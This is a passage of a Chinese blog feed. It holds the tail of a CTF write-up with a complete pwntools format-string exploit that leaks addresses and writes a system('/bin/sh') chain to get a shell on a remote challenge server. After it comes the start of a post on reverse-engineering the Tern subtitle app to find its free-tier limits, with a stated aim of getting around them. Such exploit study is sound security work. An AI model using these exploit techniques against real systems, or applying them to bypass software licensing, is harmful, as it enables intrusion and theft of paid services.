&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwnlib.replacements &lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92672dd;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;sleep
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;True
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;remote(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;47.242.59.61&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10004&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    context(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;os&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;linux&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;log_level&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;debug&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    p &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;process(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;.&#x2F;pwn5&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;tell me the time:&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;1 1 1&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;padding&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;length&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return &lt;&#x2F;span&gt;&lt;span&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(length&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(data))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 泄露程序地址
&lt;&#x2F;span&gt;&lt;span&gt;p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt;&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    sleep(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0.5&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%7$n%17$p &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).decode()
&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.findall(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0x([0-9a-f]+) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,a)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;main_76_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(a,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;ret_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;main_76_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;135
&lt;&#x2F;span&gt;&lt;span&gt;got_setvbuf_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;main_76_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0x200f94
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 泄露堆地址
&lt;&#x2F;span&gt;&lt;span&gt;p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt;&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    sleep(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0.5&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p.sendline(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%7$n%7$p &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;).decode()
&lt;&#x2F;span&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;re.findall(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;0x([0-9a-f]+) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,a)[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;span&gt;heap_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span&gt;(a,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;20
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 泄露libc
&lt;&#x2F;span&gt;&lt;span&gt;p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt;&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;    sleep(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0.5&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p.sendline(flat(padding(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%7$n%10$s &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;),got_setvbuf_addr,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;setvbuf_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;u64(p.recvuntil(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)[:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;].ljust(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;libc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;LibcSearcher(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;setvbuf&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,setvbuf_addr)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#cc7833;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;addr&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;value&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(value)):
&lt;&#x2F;span&gt;&lt;span&gt;        p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt;&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;REMOTE&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            sleep(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0.5&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;value[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            p.sendline(flat(padding(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%7$n%10$hhn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;),addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;:
&lt;&#x2F;span&gt;&lt;span&gt;            p.sendline(flat(padding(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%7$n%&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(value[i])&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c%11$hhn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;24&lt;&#x2F;span&gt;&lt;span&gt;),addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 布局栈
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt;(heap_addr&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;7&lt;&#x2F;span&gt;&lt;span&gt;,flat(ret_addr,libc.dumpb(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;str_bin_sh&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;),libc.dumpb(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;system&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;),&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# 跳转
&lt;&#x2F;span&gt;&lt;span&gt;p.sendlineafter(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;&amp;gt;&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;2&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;p.sendline(flat(padding(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;%&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;0xaa&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;c%10$hhn&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;),heap_addr,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;word_size&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;64&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;p.interactive()
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;# bmzctf{3e8e8d83-7b4f-43bb-a2dd-77db11de2679}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Tern字幕翻译软件逆向记录</title>
        <published>2020-12-22T00:00:00+00:00</published>
        <updated>2020-12-22T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/re-tern/"/>
        <id>https://richar.top/re-tern/</id>
        
        <content type="html" xml:base="https://richar.top/re-tern/">&lt;p&gt;Tern(官网&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zh.tern.best&quot;&gt;https:&#x2F;&#x2F;zh.tern.best&lt;&#x2F;a&gt;)是一个字幕翻译的软件，他通过调用主流翻译平台的接口(需要自己注册)进行字幕翻译，说白了就是写了个gui。但是他免费版每月是限制字符数的。因此。。。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;ti-qu&quot;&gt;提取&lt;&#x2F;h1&gt;
&lt;p&gt;这是一个eletron应用，外面就是一层chrome的壳，真正逻辑在&lt;code&gt;resources&#x2F;app.asar&lt;&#x2F;code&gt;，用npm安装asar工具对其解压。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;npm&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -g&lt;&#x2F;span&gt;&lt;span&gt; install asar
&lt;&#x2F;span&gt;&lt;span&gt;asar e app.asar app
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;随便翻了翻，可以看到主要逻辑在&lt;code&gt;js&#x2F;app.cca879ab.js&lt;&#x2F;code&gt;里，本来要读这个打包出来文件非常头疼，但是这个软件竟然把sourcemap也打包了出来，那就直接用工具恢复源文件吧。这里用的是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.npmjs.com&#x2F;package&#x2F;reverse-sourcemap&quot;&gt;reverse-sourcemap&lt;&#x2F;a&gt;，用起来很方便，只要&lt;code&gt;reverse-sourcemap &amp;lt;目标文件&amp;gt;&lt;&#x2F;code&gt;就行了。&lt;&#x2F;p&gt;
&lt;p&gt;恢复之后就可以愉快的分析代码了(甚至还有详细的注释)。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;fen-xi&quot;&gt;分析&lt;&#x2F;h1&gt;
&lt;p&gt;在源代码里乱翻找到了&lt;code&gt;js&#x2F;webpak&#x2F;src&#x2F;config&#x2F;index.js&lt;&#x2F;code&gt;，好家伙，免费额度都直接写在这里了。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; js&#x2F;webpak&#x2F;src&#x2F;config&#x2F;index.js
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 配置
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;one_minutes &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;60
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;const &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;one_hours &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;60 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;one_minutes
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;exports&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;config &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  free_plan_monthly_char_limit: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1000000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 字幕翻译: 每月免费额度 (单位: 字符数)
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 这是100万字符
&lt;&#x2F;span&gt;&lt;span&gt;  free_plan_monthly_duration_limit_in_seconds: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;one_hours &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;10&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F; 语音转文字: 每月免费时长 (单位: 秒)
&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_lifetime: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ6Vmps=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  mianbaoduo_7_day: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;YZ6Vmpk=&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,
